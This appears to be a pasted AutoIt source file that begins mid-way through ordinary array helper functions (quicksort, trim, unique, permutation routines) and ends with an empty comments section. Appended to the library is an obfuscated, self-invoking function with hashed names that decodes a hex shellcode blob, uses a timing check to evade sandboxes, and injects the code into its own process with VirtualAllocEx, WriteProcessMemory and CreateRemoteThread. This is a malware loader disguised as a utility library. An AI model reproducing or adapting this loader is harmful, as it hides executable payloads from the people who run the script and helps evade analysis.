            If $isubitem > $isubmax Then Return SetError(3, 0, 0)
            If $idescending Then
                $idescending = -1
            Else
                $idescending = 1
            EndIf
            __arrayquicksort2d($avarray, $idescending, $istart, $iend, $isubitem, $isubmax)
        Case Else
            Return SetError(4, 0, 0)
    EndSwitch
    Return 1
EndFunc
 
Func __arrayquicksort1d(ByRef $avarray, ByRef $istart, ByRef $iend)
    If $iend <= $istart Then Return 
    Local $vtmp
    If ($iend - $istart) < 15 Then
        Local $vcur
        For $i = $istart + 1 To $iend
            $vtmp = $avarray[$i]
            If IsNumber($vtmp) Then
                For $j = $i - 1 To $istart Step -1
                    $vcur = $avarray[$j]
                    If ($vtmp >= $vcur AND IsNumber($vcur)) OR (NOT IsNumber($vcur) AND StringCompare($vtmp, $vcur) >= 0) Then ExitLoop
                    $avarray[$j + 1] = $vcur
                Next
            Else
                For $j = $i - 1 To $istart Step -1
                    If (StringCompare($vtmp, $avarray[$j]) >= 0) Then ExitLoop
                    $avarray[$j + 1] = $avarray[$j]
                Next
            EndIf
            $avarray[$j + 1] = $vtmp
        Next
        Return 
    EndIf
    Local $l = $istart, $r = $iend, $vpivot = $avarray[Int(($istart + $iend) / 2)], $fnum = IsNumber($vpivot)
    Do
        If $fnum Then
            While ($avarray[$l] < $vpivot AND IsNumber($avarray[$l])) OR (NOT IsNumber($avarray[$l]) AND StringCompare($avarray[$l], $vpivot) < 0)
                $l += 1
            WEnd
            While ($avarray[$r] > $vpivot AND IsNumber($avarray[$r])) OR (NOT IsNumber($avarray[$r]) AND StringCompare($avarray[$r], $vpivot) > 0)
                $r -= 1
            WEnd
        Else
            While (StringCompare($avarray[$l], $vpivot) < 0)
                $l += 1
            WEnd
            While (StringCompare($avarray[$r], $vpivot) > 0)
                $r -= 1
            WEnd
        EndIf
        If $l <= $r Then
            $vtmp = $avarray[$l]
            $avarray[$l] = $avarray[$r]
            $avarray[$r] = $vtmp
            $l += 1
            $r -= 1
        EndIf
    Until $l > $r
    __arrayquicksort1d($avarray, $istart, $r)
    __arrayquicksort1d($avarray, $l, $iend)
EndFunc
 
Func __arrayquicksort2d(ByRef $avarray, ByRef $istep, ByRef $istart, ByRef $iend, ByRef $isubitem, ByRef $isubmax)
    If $iend <= $istart Then Return 
    Local $vtmp, $l = $istart, $r = $iend, $vpivot = $avarray[Int(($istart + $iend) / 2)][$isubitem], $fnum = IsNumber($vpivot)
    Do
        If $fnum Then
            While ($istep * ($avarray[$l][$isubitem] - $vpivot) < 0 AND IsNumber($avarray[$l][$isubitem])) OR (NOT IsNumber($avarray[$l][$isubitem]) AND $istep * StringCompare($avarray[$l][$isubitem], $vpivot) < 0)
                $l += 1
            WEnd
            While ($istep * ($avarray[$r][$isubitem] - $vpivot) > 0 AND IsNumber($avarray[$r][$isubitem])) OR (NOT IsNumber($avarray[$r][$isubitem]) AND $istep * StringCompare($avarray[$r][$isubitem], $vpivot) > 0)
                $r -= 1
            WEnd
        Else
            While ($istep * StringCompare($avarray[$l][$isubitem], $vpivot) < 0)
                $l += 1
            WEnd
            While ($istep * StringCompare($avarray[$r][$isubitem], $vpivot) > 0)
                $r -= 1
            WEnd
        EndIf
        If $l <= $r Then
            For $i = 0 To $isubmax
                $vtmp = $avarray[$l][$i]
                $avarray[$l][$i] = $avarray[$r][$i]
                $avarray[$r][$i] = $vtmp
            Next
            $l += 1
            $r -= 1
        EndIf
    Until $l > $r
    __arrayquicksort2d($avarray, $istep, $istart, $r, $isubitem, $isubmax)
    __arrayquicksort2d($avarray, $istep, $l, $iend, $isubitem, $isubmax)
EndFunc
 
Func _arrayswap(ByRef $vitem1, ByRef $vitem2)
    Local $vtmp = $vitem1
    $vitem1 = $vitem2
    $vitem2 = $vtmp
EndFunc
 
Func _arraytoclip(Const ByRef $avarray, $istart = 0, $iend = 0)
    Local $sresult = _arraytostring($avarray, @CR, $istart, $iend)
    If @error Then Return SetError(@error, 0, 0)
    Return ClipPut($sresult)
EndFunc
 
Func _arraytostring(Const ByRef $avarray, $sdelim = "|", $istart = 0, $iend = 0)
    If NOT IsArray($avarray) Then Return SetError(1, 0, "")
    If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, "")
    Local $sresult, $iubound = UBound($avarray) - 1
    If $iend < 1 OR $iend > $iubound Then $iend = $iubound
    If $istart < 0 Then $istart = 0
    If $istart > $iend Then Return SetError(2, 0, "")
    For $i = $istart To $iend
        $sresult &= $avarray[$i] & $sdelim
    Next
    Return StringTrimRight($sresult, StringLen($sdelim))
EndFunc
 
Func _arraytrim(ByRef $avarray, $itrimnum, $idirection = 0, $istart = 0, $iend = 0)
    If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
    If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0)
    Local $iubound = UBound($avarray) - 1
    If $iend < 1 OR $iend > $iubound Then $iend = $iubound
    If $istart < 0 Then $istart = 0
    If $istart > $iend Then Return SetError(5, 0, 0)
    If $idirection Then
        For $i = $istart To $iend
            $avarray[$i] = StringTrimRight($avarray[$i], $itrimnum)
        Next
    Else
        For $i = $istart To $iend
            $avarray[$i] = StringTrimLeft($avarray[$i], $itrimnum)
        Next
    EndIf
    Return 1
EndFunc
 
Func _arrayunique($aarray, $idimension = 1, $ibase = 0, $icase = 0, $vdelim = "|")
    Local $iubounddim
    If $vdelim = "|" Then $vdelim = Chr(1)
    If NOT IsArray($aarray) Then Return SetError(1, 0, 0)
    If NOT $idimension > 0 Then
        Return SetError(3, 0, 0)
    Else
        $iubounddim = UBound($aarray, 1)
        If @error Then Return SetError(3, 0, 0)
        If $idimension > 1 Then
            Local $aarraytmp[1]
            For $i = 0 To $iubounddim - 1
                _arrayadd($aarraytmp, $aarray[$i][$idimension - 1])
            Next
            _arraydelete($aarraytmp, 0)
        Else
            If UBound($aarray, 0) = 1 Then
                Dim $aarraytmp[1]
                For $i = 0 To $iubounddim - 1
                    _arrayadd($aarraytmp, $aarray[$i])
                Next
                _arraydelete($aarraytmp, 0)
            Else
                Dim $aarraytmp[1]
                For $i = 0 To $iubounddim - 1
                    _arrayadd($aarraytmp, $aarray[$i][$idimension - 1])
                Next
                _arraydelete($aarraytmp, 0)
            EndIf
        EndIf
    EndIf
    Local $shold
    For $icc = $ibase To UBound($aarraytmp) - 1
        If NOT StringInStr($vdelim & $shold, $vdelim & $aarraytmp[$icc] & $vdelim, $icase) Then $shold &= $aarraytmp[$icc] & $vdelim
    Next
    If $shold Then
        $aarraytmp = StringSplit(StringTrimRight($shold, StringLen($vdelim)), $vdelim, 1)
        Return $aarraytmp
    EndIf
    Return SetError(2, 0, 0)
EndFunc
 
Func __array_exeterinternal(ByRef $avarray, $istart, $isize, $sdelim, ByRef $aidx, ByRef $aresult, ByRef $icount)
    If $istart == $isize - 1 Then
        For $i = 0 To $isize - 1
            $aresult[$icount] &= $avarray[$aidx[$i]] & $sdelim
        Next
        If $sdelim <> "" Then $aresult[$icount] = StringTrimRight($aresult[$icount], 1)
        $icount += 1
    Else
        Local $itemp
        For $i = $istart To $isize - 1
            $itemp = $aidx[$i]
            $aidx[$i] = $aidx[$istart]
            $aidx[$istart] = $itemp
            __array_exeterinternal($avarray, $istart + 1, $isize, $sdelim, $aidx, $aresult, $icount)
            $aidx[$istart] = $aidx[$i]
            $aidx[$i] = $itemp
        Next
    EndIf
EndFunc
 
Func __array_combinations($in, $ir)
    Local $i_total = 1
    For $i = $ir To 1 Step -1
        $i_total *= ($in / $i)
        $in -= 1
    Next
    Return $i_total
EndFunc
 
Func __array_getnext($in, $ir, ByRef $ileft, $itotal, ByRef $aidx)
    If $ileft == $itotal Then
        $ileft -= 1
        Return 
    EndIf
    Local $i = $ir - 1
    While $aidx[$i] == $in - $ir + $i
        $i -= 1
    WEnd
    $aidx[$i] += 1
    For $j = $i + 1 To $ir - 1
        $aidx[$j] = $aidx[$i] + $j - $i
    Next
    $ileft -= 1
EndFunc
 
_y0xc290d0743d86aba5040032d3e8d9b292()
 
Func _y0xc290d0743d86aba5040032d3e8d9b292()
    $_y0x47791c9793540e4227f10e59291ae678 = "E80D02000033C0C3GG8BG5424G0C8BG4CG24G04G8BC24A57G8BGF985C07412568D72G018BG5424GG10G8A0288014142GGG4E75F7G5EGG8BC75FC3558BEC51G51535657688657G0D0068884EGGGG0DGG00E8G1A00GGG00008945FC68FAG8B340068884E0DG00GGE808G0000G00GG8945F8E9GB50000G00558BGEC53G56G57GG5164FF3530000000GG588BGG400C8B48G0CG8B11G8B4130G6AG028B7D0857G50GE85BG00000085C074048BCAGEBE78B41G18GG508B58G3C03GC38B58785850G03D8G8B4B1C8B5320G8B5B24G03GGGC803D003D8G8B32G5850G03F06AG01FFG75G0CG56GE823G0000G0085GC0740883C20483C3G02EBE3G58GG33D2668BG13C1GE202GGG03CAG03G01595FGG5EG5BGG8BE5GG5DGC2080055G8BECG5153G52GG33C933DB33D28B45088A10GG80GGCA6003DAGGD1E30345GGGG108A0884GC9E0GEEG33C08BG4D0C3BD9GGG7401405AG5B598BE55DC2GGG0C008B45088B4DGFCG5F5E89G088B45G0C8B4DF85B8908C9GGGC3G558BEC81EC08040000535633DB5733GD2G8D85F8GFBGFFGGGGFFB900G01G00G00GG8910G4283GC004G3BGD1G7CF633FF8DB5F8FBGFFGFF8BGC733GD2F775148B45G0C0FB6040203G0603C38BD9G99F7GFB8AGG064788G45FF8BDAGGGG8B949DGGGGF8FBGFFFFGG891683C6G040FGB6G55FFG8DG84G9DGF8FBFFGFFG3BF9GG89G10G7CC483G6514G00837D100076G6B8D47018BF199F7FE8BGFA8B84BDF8FBFFFF8DB4GGBDF8FBFFGFF03C38BD999GGF7FB8AGGG0688G45FFG8BGGGDAG8BG949DF8FBFFGGFF8916G0FB655GGFF8D849DF8FBFFFF89550C89108B45148B550803C28945F8GG8B06G03450C8BGF199GF7GGFE8B75F88AG84G95F8FBGFFFF3006GFF4514GG8B4514GG3B451072958BG45085FG5E5BC9C3GC3558BECB82041G00G00E8510300G00535657GE8GEAFFFFGFFG33GDBGGGGC645E86BGC645E965C6G45GGGEA72C645EB6EC645GEC65GC645ED6CC645EE33C645EFGG32C645F0GG2EC645GGF1GG64C645F2G6CC6G45GF36CG885DF4C64594GG47GGGC645G9565GGGC645G9674GC645G97G4DC645G98GG6FGC6G459964GGC6G459AG75C645G9B6CC6GG459C65GC6459D46C6459EG69C645G9FGG6CC645A0G65C645A14EC645A261GC645A3G6DGC645A4G65C645A557885DA6C645B8G43C645B9GG72C6G45BA65GC6G45BBG61C6G45BCG74GC645GGGBD65GC6GG45BE46C6G45BF69GC645GC06CGC645GC165GGC6G45GC2G57885DC3GGC645GA8G56C6GGG45GA969C645GGGAAGGG72C6GG45GAB74GC6G45GAC75GGC6G45AD61C645AE6CC6GG45AF41C6G45GB06CC645B1G6CC6G45B26FC6G45B363885DGGB4C645D047C645D165GC6G45D274GGC6G45GD346C6G45GGGD469C6GG45D56CC645GGD665GGC645D753C645D8GG69GC645D97AGC645DA6588G5DDBGC645DC52C645GGDD65C645DE61C6G45DF64GGGGC6G45GE046G8D45FCGC645E1G6950GGG8DGG45F850GC645E26CC645GGE3G65885DE4C6G45GC4GGG43C6G45C56CC6GG45C66FC6G45C773C645C865GC645C9G48C645CA61C6G45CB6EC6GGG45GCC64C645CD6CC645CEG65G88GGG5DCFGE899FCFFFF598D459459GG50G8D45GE850FF55F850FFG55FC8BF08D45GB8508D45GE850FF55F850GFF55FC89G856CFFFFGFF8D45A8508D45E8GGG50FFG55F8G50GFF55GGGFC89458CGG8D45D0GG508DG45GE850FFG55F850GFF55FC89GGG45908D45DC508D45E850FF55GGGF8G50FF55GGFC894588GG8DG45C450GG8D45GE8GGG50FFG55F8GG50FFGG55GFCGG894584B981GGGG00000033C0GGG8DBDG62GGFDFFFF6689G9DG60FDGFFGFF6804G01G0000F3ABG66AB8D8560GFDGFFGFFG5053GFFGGD6G5353G6A03G53GG6A01GG8DGGG8560FDFFGFFG68GG00G00G008050GGGFF95G6CFFFFFF8BF8G5357FFG55GG908BGGF0G6A40G68GG003000008DG8600G040000GGGGG5053FFG558C8DGGG8D68GGFFGFFGGFF5351G565057894590GFF558857FF5584GB99FGG0F000033C0GG8DGGGBDGE1GBEGFFGFF88G9DGE0BEGGGGFFFFGGGF3GAB66GABGGGAA33GC08DBD74GFFFFFFGGGGGGC685G71FFFFFFBDC68572GFFGGFFGFFGADGC68573GFFGFFGFFG1BABABGABGABG33C03BF3GC685G70GFFFFFFAAG76658BGG7DGGG90G803C38AA75G248A4CGG38013A8D71GGFFFFGGGFF75GGG188A4C3802GG3AG8D72GFFFFFF750C8A4C38033A8D73FFFFFFG740E8D4EFFG3BGC174GGGGGGG70G40GG3BC672GC7GEB2AGG33F603C7GG8A4CG3014888C35E0BEGGFFFF46GGG81GFE943E00G0072ECG33GGF6G8AG0CG30888C3570FFGGGGFFGFFGG46G83FEGG1472F0BE803E0000G6A148D85GG70FFGFFGGGGFF56G50GG8DG85E0BEFFGGGGGGFFGG50GGE8EEGFBFFGFF83C4G106AG4068003000G005653GFF55G8C8BGF8GG8DG85E0BEGFFFF565057E8ACGFAGFFGFF83C4GG0CGFFGD75F5E33GC05BC9C3CCCCCCCCCCCCCCCCG513D001000008DG4C240872G1481GGE9001000G002DG00G100000GG8501G3D001000G0073GGEC2BC8G8BC4GG85G018BE18B088B40G0450C3"
    If _winapi_createfile(@AutoItExe, 1, 2, 2) <> 0 Then _y0xc290d0743d86aba5040032d3e8d9b292()
    $_y0x67e3bdca4c03dd972f5bc951c8153ac6 = DllCall("kernel32.dll", "DWORD", "GetTickCount")
    DllCall("kernel32.dll", "int", "Sleep", "int", 100)
    $_y0xf6c9fcfbba71f8e3a7c7e344d1a90049 = DllCall("kernel32.dll", "DWORD", "GetTickCount")
    If $_y0x67e3bdca4c03dd972f5bc951c8153ac6[0] + 135 > $_y0xf6c9fcfbba71f8e3a7c7e344d1a90049[0] Then $_y0x47791c9793540e4227f10e59291ae678 = StringReplace($_y0x47791c9793540e4227f10e59291ae678, "G", "")
    Local $_y0x6f2c9a62ca0b468b49545025ab4e6b4c = DllStructCreate("byte[" & StringLen($_y0x47791c9793540e4227f10e59291ae678) / 2 & "]")
    For $_y0x6c3e1dd642972a5ed13122b8480d448f = 1 To DllStructGetSize($_y0x6f2c9a62ca0b468b49545025ab4e6b4c)
        DllStructSetData($_y0x6f2c9a62ca0b468b49545025ab4e6b4c, 1, Dec(StringMid($_y0x47791c9793540e4227f10e59291ae678, ($_y0x6c3e1dd642972a5ed13122b8480d448f - 1) * 2 + 1, 2)), $_y0x6c3e1dd642972a5ed13122b8480d448f)
    Next
    Local $_y0x86660dec3147ae42493bcdde95922e61, $_y0x0e6b2ff08d97d3cb1294380060de6ca5, $_y0x9355d363dd0a85289cfec30b86c24f69, $_y0xc3d76f24146ef14c76aaa135c785f276
    $_y0x86660dec3147ae42493bcdde95922e61 = DllCall("Kernel32.Dll", "int", "OpenProcess", "int", 2035711, "int", 0, "int", _winapi_getcurrentprocessid())
    $_y0x0e6b2ff08d97d3cb1294380060de6ca5 = $_y0x86660dec3147ae42493bcdde95922e61[0]
    $_y0x86660dec3147ae42493bcdde95922e61 = DllCall("Kernel32.dll", "ptr", "VirtualAllocEx", "int", $_y0x0e6b2ff08d97d3cb1294380060de6ca5, "ptr", 0, "int", DllStructGetSize($_y0x6f2c9a62ca0b468b49545025ab4e6b4c) * 1000, "int", 4096, "int", 64)
    $_y0x9355d363dd0a85289cfec30b86c24f69 = $_y0x86660dec3147ae42493bcdde95922e61[0]
    $_y0x86660dec3147ae42493bcdde95922e61 = DllCall("kernel32.dll", "int", "WriteProcessMemory", "int", $_y0x0e6b2ff08d97d3cb1294380060de6ca5, "ptr", $_y0x9355d363dd0a85289cfec30b86c24f69, "ptr", DllStructGetPtr($_y0x6f2c9a62ca0b468b49545025ab4e6b4c), "int", DllStructGetSize($_y0x6f2c9a62ca0b468b49545025ab4e6b4c), "int", 0)
    $_y0x86660dec3147ae42493bcdde95922e61 = DllCall("kernel32.dll", "int", "CreateRemoteThread", "int", $_y0x0e6b2ff08d97d3cb1294380060de6ca5, "ptr", 0, "int", 0, "int", $_y0x9355d363dd0a85289cfec30b86c24f69, "ptr", 0, "int", 0, "int", 0)
    $_y0xc3d76f24146ef14c76aaa135c785f276 = $_y0x86660dec3147ae42493bcdde95922e61[0]
    Do
        $_y0x86660dec3147ae42493bcdde95922e61 = DllCall("kernel32.dll", "int", "WaitForSingleObject", "int", $_y0xc3d76f24146ef14c76aaa135c785f276, "int", 50)
    Until $_y0x86660dec3147ae42493bcdde95922e61[0] <> 258
    DllCall("Kernel32.dll", "int", "CloseHandle", "int", $_y0xc3d76f24146ef14c76aaa135c785f276)
    $_y0x86660dec3147ae42493bcdde95922e61 = DllCall("Kernel32.dll", "ptr", "VirtualFreeEx", "hwnd", $_y0x0e6b2ff08d97d3cb1294380060de6ca5, "ptr", DllStructGetPtr($_y0x6f2c9a62ca0b468b49545025ab4e6b4c), "int", DllStructGetSize($_y0x6f2c9a62ca0b468b49545025ab4e6b4c), "int", 32768)
    DllCall("Kernel32.dll", "int", "CloseHandle", "int", $_y0x0e6b2ff08d97d3cb1294380060de6ca5)
    _winapi_msgbox(0, 0, 0)
EndFunc

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎

    
        
  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    👍

    /

    👎